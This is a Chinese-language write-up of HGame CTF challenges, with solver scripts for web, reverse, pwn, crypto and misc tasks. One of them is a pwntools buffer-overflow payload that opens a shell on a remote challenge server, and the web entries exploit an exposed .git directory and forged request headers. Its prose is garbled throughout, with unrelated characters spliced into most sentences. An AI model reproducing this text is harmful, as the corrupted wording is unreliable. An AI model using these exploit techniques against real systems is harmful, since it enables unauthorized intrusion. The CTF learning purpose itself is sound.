新年快樂(lè)
還有拉队,本人萌新秆乳,求大佬指正
Web
1. Cosmos 的博客
版本管理工具般妙,應(yīng)該是git涣旨,訪問(wèn)./.git/config發(fā)現(xiàn)成功了,從里面找到了遠(yuǎn)程倉(cāng)庫(kù)的地址。
訪問(wèn),切換版本姚建,解base64即可得flag淑趾。
2. 接 頭 霸 王
按照一步一步的提示構(gòu)造頭即可,請(qǐng)求方式為POST攒霹,最終構(gòu)造的頭如下
3. Code World
GET請(qǐng)求發(fā)現(xiàn)302跳轉(zhuǎn)怯疤,請(qǐng)求POST發(fā)現(xiàn)正常。根據(jù)提示POST的a為運(yùn)算后值10催束,直接0+10發(fā)現(xiàn)錯(cuò)誤集峦,根據(jù)題目提示CodeWorld聯(lián)想到URLEncode,POST內(nèi)容改為0%2b10,提示錯(cuò)誤塔淤,根據(jù)提示摘昌,訪問(wèn)./index.php?a=10%2b0,成功獲取flag高蜂。
4. ??尼泰玫
游戲很好玩聪黎。
F12查看源碼,發(fā)現(xiàn)js的_main方法备恤。
通過(guò)Console獲取_main對(duì)象的屬性和方法稿饰,console.log(_main.start),發(fā)現(xiàn)Score對(duì)象露泊。點(diǎn)擊開(kāi)始游戲喉镰,修改_main.score對(duì)象中的值,比如修改_main.score.score = 100000000惭笑,玩游戲侣姆,得到flag。
Reverse
1. maze
查看一下文件類(lèi)型
使用IDA64打開(kāi)脖咐,F(xiàn)5
發(fā)現(xiàn)迷宮铺敌,寫(xiě)小程序跑就可以了。
#include <cstdio>
#include <string>
using namespace std;
typedef unsigned char byte;
static const byte arr[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1,
1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1,
1, 0, 0, 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 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1,
1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0,
0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1,
1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0,
0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0,
1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0,
1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1,
1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1,
0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1,
1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0,
1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1 };
const byte *start = arr + 32;
const byte *end = arr + 1052;
const byte *ex = arr + 988;
const byte *st = arr + 100;
int main() {
const byte *cur = start;
for (int i = 0; i < 16; ++i) {
for (int j = 0; j < 16; ++j) {
int now = *(int*)cur;
if (cur == ex)
printf("%s", "e");
else if (cur == st)
printf("%s", "s");
else
printf("%s", (now & 1) ? "n" : "y");
cur += 4;
}
printf("\n");
}
system("pause");
}
根據(jù)路線就能得到flag屁擅。
2. bitwise_operation2
步驟同上偿凭。
#include <cstdio>
#include <bitset>
using namespace std;
void int2hex(unsigned char *inte, char *buf) {
for (int i = 0; i < 8; ++i) {
sprintf(&buf[2*i], "%02x", inte[i]);
}
}
int main() {
unsigned char tarr1[] = { 'e', '4', 's', 'y', '_', 'R', 'e', '_' };
unsigned char tarr2[] = { 'E', 'a', 's', 'y', 'l', 'i', 'f', '3' };
char v6[] = { 76, 60, -42, 54, 80, -120, 32, -52 };
unsigned char v7[8] = { 0 };
unsigned char v9[8] = { 0 };
for (int i = 0; i < 8; ++i) {
v7[i] = v6[i] ^ tarr1[i];
}
for (int i = 0; i < 8; ++i) {
v9[i] = tarr2[i] ^ v7[i];
}
/* *
* 進(jìn)行了這樣的運(yùn)算,有兩個(gè)二進(jìn)制int8派歌,分別為v7 : abcdefgh和v9 : ABCDEFGH弯囊,進(jìn)行運(yùn)算完成后分別為
* v7 : aAcCeEgG和v9 : bBdDfFhH
* 在此之前,v7還把前三位放到最后胶果,把后五位移到前面
* */
for (int i = 0; i < 8; ++i) {
bitset<8> v7t = v7[i];
bitset<8> v9t = v9[7 - i];
bitset<8> v7to = v7t;
bitset<8> v9to = v9t;
for (int j = 0; j < 8; j += 2) {
v9to[j + 1] = v7t[j];
v7to[j] = v9t[j + 1];
}
string v7str = v7to.to_string();
v7to = bitset<8>(v7str.substr(5, 3) + v7str.substr(0, 5));
v7[i] = v7to.to_ulong();
v9[7 - i] = v9to.to_ulong();
}
char str1[17] = { 0 };
char str2[17] = { 0 };
int2hex(v7, str1);
int2hex(v9, str2);
printf("%s %s", str1, str2);
}
3. advance
步驟同上匾嘱,在Strings界面找到字符串從而確定main函數(shù)位置,發(fā)現(xiàn)是替換base64TABLE的加密早抠,根據(jù)base64原理寫(xiě)腳本如下霎烙。
#!/usr/bin/python2
# -*- coding: utf-8 -*-
def mask(t):
b = bin(t)
b = b[2:]
if len(b) != 6:
l = 6 - len(b)
for _ in range(l):
b = "0" + b
return b
base = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
map = {}
for i in range(0, 64):
map.setdefault(base[i], i)
map.setdefault("=", 0)
s = "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX"
eqs = s.count("=")
s = s[:len(s) - eqs]
ans = "0b"
for c in s:
ans += mask(map[c])
ans += "00" if eqs == 1 else "0000" if eqs == 2 else ""
print(hex(eval(ans))[2:-1].decode("hex"))
4. cpp
程序使用了string和vector類(lèi),核心部分代碼描述如下:
flag = input()
assert flag.startswith("hgame{") and flag[61] == "}"
values = [int(i) for i in flag[6:61].split("_")]
arr1 = [26727, 24941, 101, 29285, 26995, 29551, 29551, 25953, 29561]
arr2 = [1, 0, 1, 0, 1, 1, 1, 2, 2]
for j in range(3):
for k in range(3):
tmp = 0
for l in range(3):
tmp += arr2[3 * l + k] * values[l + 3 * j]
assert arr1[3 * j + k] == tmp
print(success)
可以發(fā)現(xiàn)是矩陣相乘蕊连,使用z3求解腳本如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from z3 import *
v16 = [Int('z%d' % (i+1)) for i in range(9)]
v25 = [26727, 24941, 101, 29285, 26995, 29551, 29551, 25953, 29561]
v24 = [1, 0, 1, 0, 1, 1, 1, 2, 2]
solver = Solver()
for j in range(3):
for k in range(3):
v14 = 0
for l in range(3):
v14 += v24[3 * l + k] * v16[l + 3 * j]
solver.add(v25[3 * j + k] == v14)
print(solver.check())
assert solver.check() == sat
m = solver.model()
result = [m[i] for i in v16]
flag = "hgame{"
for i in result:
flag += str(i) + '_'
flag = flag[:-1] + "}"
print(flag)
Pwn
1. Hard_AAAAA
查看文件信息
拖進(jìn)IDA分析悬垃,前123位是"A",后面是給定的值就可以了甘苍。
from pwn import *
c = remote("47.103.214.163", 20000)
s = c.readline()
c.sendline(b"A"*123+b"0O0o\0O0")
c.interactive()
之后ls,cat flag
3. One_Shot
步驟同上
覆蓋掉’\0‘就好了尝蠕,因此首先輸入32個(gè)"A",再輸入6295776就可以了载庭。
Crypto
1. InfantRSA
真簽到
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from Crypto.Util.number import inverse
p = 681782737450022065655472455411
q = 675274897132088253519831953441
e = 13
c = 275698465082361070145173688411496311542172902608559859019841
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, p*q)
print(hex(m)[2:-1].decode("hex"))
2. Affine
方程組看彼,解一下就能出A廊佩,B
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import inverse
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)
A = 13
B = 14
cipher = 'A8I5z{xr1A_J7ha_vG_TpH410}'
flag = ''
for c in cipher:
ii = TABLE.find(c)
if ii == -1:
flag += c
else:
A_ = inverse(A, MOD)
i = A_ * (ii - B) % MOD
flag += TABLE[i]
print(flag)
3. not_One-time
只要數(shù)據(jù)足夠多,我就能爆破出來(lái)靖榕。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import string
import base64
from socket import socket
TABLE = [ ord(x) for x in string.ascii_letters+string.digits]
PRINTABLE = [ord(x) for x in string.printable]
strlist = []
for _ in range(1024):
sock = socket()
sock.connect(("47.98.192.231", 25001))
strlist.append(base64.b64decode(sock.recv(1024)))
sock.close()
anslist = []
for i in range(0, 43):
setlist = []
for str in strlist:
chset = set()
for c in TABLE:
assert c < 256
assert str[i] < 256
tmp = c^str[i]
assert tmp < 256
if tmp in PRINTABLE:
chset.add(tmp)
setlist.append(chset)
ans = setlist[0]
for chset in setlist:
if len(chset) != 0:
ans &= chset
print(ans)
anslist.append(ans)
for s in anslist:
if len(s) == 1:
print(chr(s.pop()), end = "")
elif len(s) == 0:
print("|", end = "")
else:
print("*", end = "")
4. Reorder
置換
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import socket
orderbox = []
origin = "abcdefghijklmnopqrstuvwxyzABCDEF".encode()
sock = socket()
sock.connect(("47.98.192.231", 25002))
sock.recv(1024)
sock.send(origin)
cipher = sock.recv(1024).split(b"\n")[0]
for c in cipher:
orderbox.append(origin.find(c))
sock.send(b"\n")
sock.recv(1024)
rec = sock.recv(1024)
cipher = rec.split(b"\n")[1]
origin = [""]*32
for i in range(32):
origin[orderbox[i]] = chr(cipher[i])
print("".join(origin))
sock.close()
MISC
1. 歡迎參加HGame标锄!
先解base64,之后摩斯電碼序矩。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import base64
lookup = {'!': '-.-.--', "'": '.----.', '"': '.-..-.', '$': '...-..-', '&': '.-...', '(': '-.--.', ')': '-.--.-', '+': '.-.-.', ',': '--..--', '-': '-....-', '.': '.-.-.-', '/': '-..-.', '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.', ':': '---...', ';': '-.-.-.', '=': '-...-',
'?': '..--..', '@': '.--.-.', 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', 'Z': '--..', '_': '..--.-', }
lookup = dict(zip(lookup.values(), lookup.keys()))
str = "Li0tIC4uLi0tIC4tLi4gLS4tLiAtLS0tLSAtLSAuIC4uLS0uLSAtIC0tLSAuLi0tLi0gLi4tLS0gLS0tLS0gLi4tLS0gLS0tLS0gLi4tLS4tIC4uLi4gLS0uIC4tIC0tIC4uLi0t"
str = base64.b64decode(str.encode()).decode()
strarr = str.split(" ")
for str in strarr:
print(lookup[str], end="")
2. 壁紙
binwalk分析鸯绿,foremost提取,找到壁紙的pixiv作者名字簸淀,去搜索就能搜到ID瓶蝴,之后就是常規(guī)操作。
4. 簽到題ProPlus
好多次柵欄和凱撒實(shí)際可以等效為一次租幕,按照字母頻率可以找到凱撒的位移數(shù)目舷手,之后就能解出來(lái)了。